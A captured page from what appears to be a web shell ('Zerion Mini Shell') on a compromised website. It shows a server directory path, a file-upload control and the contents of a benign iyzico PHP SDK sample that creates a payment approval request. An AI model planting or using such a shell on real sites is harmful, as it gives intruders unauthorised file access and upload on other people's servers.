ok

Mini Shell

Direktori : /home2/selectio/www/limpiar.in.net/vendor/iyzico/iyzipay-php/samples/
Upload File :
Current File : //home2/selectio/www/limpiar.in.net/vendor/iyzico/iyzipay-php/samples/approve.php

<?php

require_once('config.php');

# create request class
$request = new \Iyzipay\Request\CreateApprovalRequest();
$request->setLocale(\Iyzipay\Model\Locale::TR);
$request->setConversationId("123456789");
$request->setPaymentTransactionId("1");

# make request
$approval = \Iyzipay\Model\Approval::create($request, Config::options());

# print result
print_r($approval);

Zerion Mini Shell 1.0